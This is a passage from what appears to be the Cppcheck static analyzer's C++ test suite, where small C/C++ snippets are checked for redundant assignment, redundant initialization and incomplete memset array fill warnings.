'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" bool a[5];\\n\"\n \" memset(a, false, 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (portability, inconclusive) Array 'a' might be filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int n = 5;\"\n \" int a[n];\\n\"\n \" memset(a, 0, n);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n }\n\n void redundantVarAssignment() {\n setMultiline();\n\n // Simple tests\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:2:7]: note: i is assigned\\n\"\n \"[test.cpp:3:7]: note: i is overwritten\\n\", errout_str());\n\n // non-local variable => only show warning when inconclusive is used\n check(\"int i;\\n\"\n \"void f() {\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: i is assigned\\n\"\n \"[test.cpp:4:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i;\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: i is assigned\\n\"\n \"[test.cpp:4:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int i;\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i[10];\\n\"\n \" i[2] = 1;\\n\"\n \" i[2] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: style: Variable 'i[2]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:10]: note: i[2] is assigned\\n\"\n \"[test.cpp:4:10]: note: i[2] is overwritten\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int i[10];\\n\"\n \" i[x] = 1;\\n\"\n \" x=1;\\n\"\n \" i[x] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int x) {\\n\"\n \" int i[10];\\n\"\n \" i[x] = 1;\\n\"\n \" i[x] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: style: Variable 'i[x]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:10]: note: i[x] is assigned\\n\"\n \"[test.cpp:4:10]: note: i[x] is overwritten\\n\", errout_str());\n\n // Testing different types\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\"\n \" bar = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\"\n \" bar = x;\\n\"\n \" bar = y;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\" // #4425. bar might refer to something global, etc.\n \" bar = y();\\n\"\n \" foo();\\n\"\n \" bar = y();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Tests with function call between assignment\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:2:7]: note: i is assigned\\n\"\n \"[test.cpp:4:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"int i;\\n\"\n \"void f() {\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\" // Global variable might be accessed in bar()\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int i;\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\" // bar() might call f() recursively. This could be a false positive in more complex examples (when value of i is used somewhere. See #4229)\n \" i = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i;\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: i is assigned\\n\"\n \"[test.cpp:5:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"void bar(int i) {}\\n\"\n \"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" bar(i);\\n\" // Passed as argument\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo bar = foo();\\n\"\n \" bar();\\n\" // #5568. operator() called\n \" bar = y();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Branch tests\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" if(x)\\n\"\n \" i = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" if(x)\\n\"\n \" i = 0;\\n\"\n \" i = 1;\\n\"\n \" i = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:4:7]: note: i is assigned\\n\"\n \"[test.cpp:5:7]: note: i is overwritten\\n\", errout_str());\n\n // #4513\n check(\"int x;\\n\"\n \"int g() {\\n\"\n \" return x*x;\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" x = 2;\\n\"\n \" x = g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g() {\\n\"\n \" return x*x;\\n\"\n \"}\\n\"\n \"void f(int x) {\\n\"\n \" x = 2;\\n\"\n \" x = g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:7]: style: Variable 'x' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:5:7]: note: x is assigned\\n\"\n \"[test.cpp:6:7]: note: x is overwritten\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\"\n \" bar = x;\\n\"\n \" bar = y();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C {\\n\"\n \" int x;\\n\"\n \" void g() { return x * x; }\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"\\n\"\n \"void C::f() {\\n\"\n \" x = 2;\\n\"\n \" x = g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C {\\n\"\n \" int x;\\n\"\n \" void g() { return x*x; }\\n\"\n \" void f(Foo z);\\n\"\n \"};\\n\"\n \"\\n\"\n \"void C::f(Foo z) {\\n\"\n \" x = 2;\\n\"\n \" x = z.g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ({ })\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" x = 321;\\n\"\n \" x = ({ asm(123); })\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // from #3103 (avoid a false negative)\n check(\"int foo(){\\n\"\n \" int x;\\n\"\n \" x = 1;\\n\"\n \" x = 1;\\n\"\n \" return x + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'x' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: x is assigned\\n\"\n \"[test.cpp:4:7]: note: x is overwritten\\n\", errout_str());\n\n // from #3103 (avoid a false positive)\n check(\"int foo(){\\n\"\n \" int x;\\n\"\n \" x = 1;\\n\"\n \" if (y)\\n\" // <-- cppcheck does not know anything about 'y'\n \" x = 2;\\n\"\n \" return x + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // initialization, assignment with 0\n check(\"void f() {\\n\" // Ticket #4356\n \" int x = 0;\\n\" // <- ignore initialization with 0\n \" x = 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" state_t *x = NULL;\\n\"\n \" x = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:12]: style: Variable 'x' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" state_t *x;\\n\"\n \" x = NULL;\\n\"\n \" x = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:12]: style: Variable 'x' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"int foo() {\\n\" // #4420\n \" int x;\\n\"\n \" bar(++x);\\n\"\n \" x = 5;\\n\"\n \" return bar(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // struct member..\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" ab.a = 2;\\n\"\n \" return ab.a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:10]: style: Variable 'ab.a' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:5:10]: note: ab.a is assigned\\n\"\n \"[test.cpp:6:10]: note: ab.a is overwritten\\n\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" ab = do_something();\\n\"\n \" return ab.a;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" do_something(&ab);\\n\"\n \" ab.a = 2;\\n\"\n \" return ab.a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f(DO_SOMETHING do_something) {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" do_something(&ab);\\n\"\n \" ab.a = 2;\\n\"\n \" return ab.a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f(struct AB *ab) {\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \" ab++;\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f(struct AB *ab) {\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \" ab = x;\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(struct AB *ab) {\\n\" // #\n \" ab->data->x = 1;\\n\"\n \" ab = &ab1;\\n\"\n \" ab->data->x = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5964\n check(\"void func(char *buffer, const char *format, int precision, unsigned value) {\\n\"\n \" (precision < 0) ? sprintf(buffer, format, value) : sprintf(buffer, format, precision, value);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // don't crash\n check(\"struct data {\\n\"\n \" struct { int i; } fc;\\n\"\n \"};\\n\"\n \"struct state {\\n\"\n \" struct data d[123];\\n\"\n \"};\\n\"\n \"void func(struct state *s) {\\n\"\n \" s->foo[s->x++] = 2;\\n\"\n \" s->d[1].fc.i++;\\n\"\n \"}\");\n\n // #6525 - inline assembly\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" asm(\\\"foo\\\");\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6555\n check(\"void foo() {\\n\"\n \" char *p = 0;\\n\"\n \" try {\\n\"\n \" p = fred();\\n\"\n \" p = wilma();\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" barney(p);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char *p = 0;\\n\"\n \" try {\\n\"\n \" p = fred();\\n\"\n \" p = wilma();\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" barney(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: style: The scope of the variable 'p' can be reduced. [variableScope]\\n\"\n \"[test.cpp:2:11]: style: Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" char *p = 0;\\n\"\n \" try {\\n\"\n \" if(z) {\\n\"\n \" p = fred();\\n\"\n \" p = wilma();\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" barney(p);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Member variable pointers\n check(\"void podMemPtrs() {\\n\"\n \" int POD::*memptr;\\n\"\n \" memptr = &POD::a;\\n\"\n \" memptr = &POD::b;\\n\"\n \" if (memptr)\\n\"\n \" memptr = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: style: Variable 'memptr' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:12]: note: memptr is assigned\\n\"\n \"[test.cpp:4:12]: note: memptr is overwritten\\n\", errout_str());\n\n // Pointer function argument (#3857)\n check(\"void f(float * var)\\n\"\n \"{\\n\"\n \" var[0] = 0.2f;\\n\"\n \" var[0] = 0.2f;\\n\" // <-- is initialized twice\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: style: Variable 'var[0]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:10]: note: var[0] is assigned\\n\"\n \"[test.cpp:4:10]: note: var[0] is overwritten\\n\", errout_str());\n\n check(\"void f(float * var)\\n\"\n \"{\\n\"\n \" *var = 0.2f;\\n\"\n \" *var = 0.2f;\\n\" // <-- is initialized twice\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:8]: style: Variable '*var' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:8]: note: *var is assigned\\n\"\n \"[test.cpp:4:8]: note: *var is overwritten\\n\", errout_str());\n\n // Volatile variables\n check(\"void f() {\\n\"\n \" volatile char *reg = (volatile char *)0x12345;\\n\"\n \" *reg = 12;\\n\"\n \" *reg = 34;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map& m, int key, int value) {\\n\" // #6379\n \" m[key] = value;\\n\"\n \" m[key] = value;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: style: Variable 'm[key]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:2:12]: note: m[key] is assigned\\n\"\n \"[test.cpp:3:12]: note: m[key] is overwritten\\n\",\n errout_str());\n }\n\n void redundantVarAssignment_trivial() {\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" a = 4;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a;\\n\"\n \" a = 0;\\n\"\n \" a = 4;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" unsigned a;\\n\"\n \" a = 0u;\\n\"\n \" a = 2u;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" void* a;\\n\"\n \" a = (void*)0;\\n\"\n \" a = p;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10]: (style) Variable 'a' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" void* a;\\n\"\n \" a = (void*)0U;\\n\"\n \" a = p;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10]: (style) Variable 'a' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n }\n\n void redundantVarAssignment_struct() {\n check(\"struct foo {\\n\"\n \" int a,b;\\n\"\n \"};\\n\"\n \"\\n\"\n \"int main() {\\n\"\n \" struct foo x;\\n\"\n \" x.a = _mm_set1_ps(1.0);\\n\"\n \" x.a = _mm_set1_ps(2.0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:7] -> [test.cpp:8:7]: (style) Variable 'x.a' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.x = 23;\\n\"\n \" ab.y = 41;\\n\"\n \" ab.x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:5:8]: (style) Variable 'ab.x' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" struct AB ab = {0};\\n\"\n \" ab = foo();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_union() {\n // Ticket #5115 \"redundantAssignment when using a union\"\n check(\"void main(void)\\n\"\n \"{\\n\"\n \" short lTotal = 0;\\n\"\n \" union\\n\"\n \" {\\n\"\n \" short l1;\\n\"\n \" struct\\n\"\n \" {\\n\"\n \" unsigned char b1;\\n\"\n \" unsigned char b2;\\n\"\n \" } b;\\n\"\n \" } u;\\n\"\n \" u.l1 = 1;\\n\"\n \" lTotal += u.b.b1;\\n\"\n \" u.l1 = 2;\\n\" //Should not show RedundantAssignment\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #5115 \"redundantAssignment when using a union\"\n check(\"void main(void)\\n\"\n \"{\\n\"\n \" short lTotal = 0;\\n\"\n \" union\\n\"\n \" {\\n\"\n \" short l1;\\n\"\n \" struct\\n\"\n \" {\\n\"\n \" unsigned char b1;\\n\"\n \" unsigned char b2;\\n\"\n \" } b;\\n\"\n \" } u;\\n\"\n \" u.l1 = 1;\\n\"\n \" u.l1 = 2;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:13:10] -> [test.cpp:14:10]: (style) Variable 'u.l1' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n // Ticket #10093 \"redundantAssignment when using a union\"\n check(\"typedef union fixed32_union {\\n\"\n \" struct {\\n\"\n \" unsigned32 abcd;\\n\"\n \" } u32;\\n\"\n \" struct {\\n\"\n \" unsigned16 ab;\\n\"\n \" unsigned16 cd;\\n\"\n \" } u16;\"\n \" struct {\\n\"\n \" unsigned8 a;\\n\"\n \" unsigned8 b;\\n\"\n \" unsigned8 c;\\n\"\n \" unsigned8 d;\\n\"\n \" } b;\\n\"\n \"} fixed32;\\n\"\n \"void func1(void) {\\n\"\n \" fixed32 m;\\n\"\n \" m.u16.ab = 47;\\n\"\n \" m.u16.cd = 0;\\n\"\n \" m.u16.ab = m.u32.abcd / 53;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #10093 \"redundantAssignment when using a union\"\n check(\"typedef union{\\n\"\n \" char as_char[4];\\n\"\n \" int as_int;\\n\"\n \"} union_t;\\n\"\n \"void fn(char *data, int len) {\\n\"\n \" int i;\\n\"\n \" for (i = 0; i < len; i++)\\n\"\n \" data[i] = 'a';\\n\"\n \"}\\n\"\n \"int main(int argc, char *argv[]) {\\n\"\n \" union_t u;\\n\"\n \" u.as_int = 42;\\n\"\n \" fn(&u.as_char[0], 4);\\n\"\n \" u.as_int = 0;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #5115 \"redundantAssignment when using a union\"\n check(\"void foo(char *ptr) {\\n\"\n \" union {\\n\"\n \" char * s8;\\n\"\n \" unsigned long long u64;\\n\"\n \" } addr;\\n\"\n \" addr.s8 = ptr;\\n\"\n \" addr.u64 += 8;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12895\n \" int x, y;\\n\"\n \"};\\n\"\n \"union U {\\n\"\n \" S* s;\\n\"\n \"};\\n\"\n \"void f(const U& Src, const U& Dst) {\\n\"\n \" Dst.s->x = Src.s->x;\\n\"\n \" Dst.s->y = Src.s->y;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_7133() {\n // #7133\n check(\"sal_Int32 impl_Export() {\\n\"\n \" try {\\n\"\n \" try {\\n\"\n \" uno::Sequence< uno::Any > aArgs(2);\\n\"\n \" beans::NamedValue aValue;\\n\"\n \" aValue.Name = \\\"DocumentHandler\\\";\\n\"\n \" aValue.Value <<= xDocHandler;\\n\"\n \" aArgs[0] <<= aValue;\\n\"\n \" aValue.Name = \\\"Model\\\";\\n\"\n \" aValue.Value <<= xDocumentComp;\\n\"\n \" aArgs[1] <<= aValue;\\n\"\n \" }\\n\"\n \" catch (const uno::Exception&) {\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (const uno::Exception&) {\\n\"\n \" }\\n\"\n \"}\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void ConvertBitmapData(sal_uInt16 nDestBits) {\\n\"\n \" BitmapBuffer aSrcBuf;\\n\"\n \" aSrcBuf.mnBitCount = nSrcBits;\\n\"\n \" BitmapBuffer aDstBuf;\\n\"\n \" aSrcBuf.mnBitCount = nDestBits;\\n\"\n \" bConverted = ::ImplFastBitmapConversion( aDstBuf, aSrcBuf, aTwoRects );\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:3:24] -> [test.c:5:24]: (style) Variable 'aSrcBuf.mnBitCount' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n check(\"void ConvertBitmapData(sal_uInt16 nDestBits) {\\n\"\n \" BitmapBuffer aSrcBuf;\\n\"\n \" aSrcBuf.mnBitCount = nSrcBits;\\n\"\n \" BitmapBuffer aDstBuf;\\n\"\n \" aSrcBuf.mnBitCount = nDestBits;\\n\"\n \" bConverted = ::ImplFastBitmapConversion( aDstBuf, aSrcBuf, aTwoRects );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:24] -> [test.cpp:5:24]: (style) Variable 'aSrcBuf.mnBitCount' is reassigned a value before the old one has been used. [redundantAssignment]\\n\",\n errout_str());\n\n check(\"class C { void operator=(int x); };\\n\" // #8368 - assignment operator might have side effects => inconclusive\n \"void f() {\\n\"\n \" C c;\\n\"\n \" c = x;\\n\"\n \" c = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7] -> [test.cpp:5:7]: (style, inconclusive) Variable 'c' is reassigned a value before the old one has been used if variable is no semaphore variable. [redundantAssignment]\\n\", errout_str());\n }\n\n void redundantVarAssignment_stackoverflow() {\n check(\"typedef struct message_node {\\n\"\n \" char code;\\n\"\n \" size_t size;\\n\"\n \" struct message_node *next, *prev;\\n\"\n \"} *message_list;\\n\"\n \"static message_list remove_message_from_list(message_list m) {\\n\"\n \" m->prev->next = m->next;\\n\"\n \" m->next->prev = m->prev;\\n\"\n \" return m->next;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_lambda() {\n // #7152\n check(\"int foo() {\\n\"\n \" int x = 0, y = 0;\\n\"\n \" auto f = [&]() { if (x < 5) ++y; };\\n\"\n \" x = 2;\\n\"\n \" f();\\n\"\n \" x = 6;\\n\"\n \" f();\\n\"\n \" return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10228\n check(\"std::tuple g();\\n\"\n \"void h(int);\\n\"\n \"void f() {\\n\"\n \" auto [a, b] = g();\\n\"\n \" auto l = [a = a]() { h(i); };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_loop() {\n check(\"void f() {\\n\"\n \" char buf[10];\\n\"\n \" int i;\\n\"\n \" for (i = 0; i < 4; i++)\\n\"\n \" buf[i] = 131;\\n\"\n \" buf[i] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void bar() {\\n\" // #9262 do-while with break\n \" int x = 0;\\n\"\n \" x = 432;\\n\"\n \" do {\\n\"\n \" if (foo()) break;\\n\"\n \" x = 1;\\n\"\n \" } while (false);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int num) {\\n\" // #9420 FP\n \" int a = num;\\n\"\n \" for (int b = 0; b < num; a = b++)\\n\"\n \" dostuff(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int num) {\\n\" // #9420 FN\n \" int a = num;\\n\"\n \" for (int b = 0; b < num; a = b++);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n void redundantVarAssignment_after_switch() {\n check(\"void f(int x) {\\n\" // #7907\n \" int ret;\\n\"\n \" switch (x) {\\n\"\n \" case 123:\\n\"\n \" ret = 1;\\n\" // redundant assignment\n \" break;\\n\"\n \" }\\n\"\n \" ret = 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13] -> [test.cpp:8:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n }\n\n void redundantVarAssignment_pointer() {\n check(\"void f(int *ptr) {\\n\"\n \" int *x = ptr + 1;\\n\"\n \" *x = 23;\\n\"\n \" foo(ptr);\\n\"\n \" *x = 32;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8997\n check(\"void f() {\\n\"\n \" char x[2];\\n\"\n \" char* p = x;\\n\"\n \" *p = 1;\\n\"\n \" p += 1;\\n\"\n \" *p = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_pointer_parameter() {\n check(\"void f(int *p) {\\n\"\n \" *p = 1;\\n\"\n \" if (condition) return;\\n\"\n \" *p = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_array() {\n check(\"void f() {\\n\"\n \" int arr[10];\\n\"\n \" int i = 0;\\n\"\n \" arr[i] = 1;\\n\"\n \" i += 2;\\n\"\n \" arr[i] = 3;\\n\"\n \" dostuff(arr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_switch_break() {\n // #10058\n check(\"void f(int a, int b) {\\n\"\n \" int ret = 0;\\n\"\n \" switch (a) {\\n\"\n \" case 1:\\n\"\n \" ret = 543;\\n\"\n \" if (b) break;\\n\"\n \" ret = 1;\\n\"\n \" break;\\n\"\n \" }\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a, int b) {\\n\"\n \" int ret = 0;\\n\"\n \" switch (a) {\\n\"\n \" case 1:\\n\"\n \" ret = 543;\\n\"\n \" if (b) break;\\n\"\n \" ret = 1;\\n\"\n \" break;\\n\"\n \" }\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13] -> [test.cpp:7:13]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n }\n\n void redundantInitialization() {\n setMultiline();\n\n check(\"void f() {\\n\"\n \" int err = -ENOMEM;\\n\"\n \" err = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: style: Redundant initialization for 'err'. The initialized value is overwritten before it is read. [redundantInitialization]\\n\"\n \"[test.cpp:2:13]: note: err is initialized\\n\"\n \"[test.cpp:3:9]: note: err is overwritten\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" struct S s = {1,2,3};\\n\"\n \" s = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: style: Redundant initialization for 's'. The initialized value is overwritten before it is read. [redundantInitialization]\\n\"\n \"[test.cpp:2:16]: note: s is initialized\\n\"\n \"[test.cpp:3:7]: note: s is overwritten\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int *p = NULL;\\n\"\n \" p = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10]: style: Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n // \"trivial\" initialization => do not warn\n check(\"void f() {\\n\"\n \" struct S s = {0};\\n\"\n \" s = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace N { enum E {e0,e1}; }\\n\"\n \"void f() {\\n\"\n \" 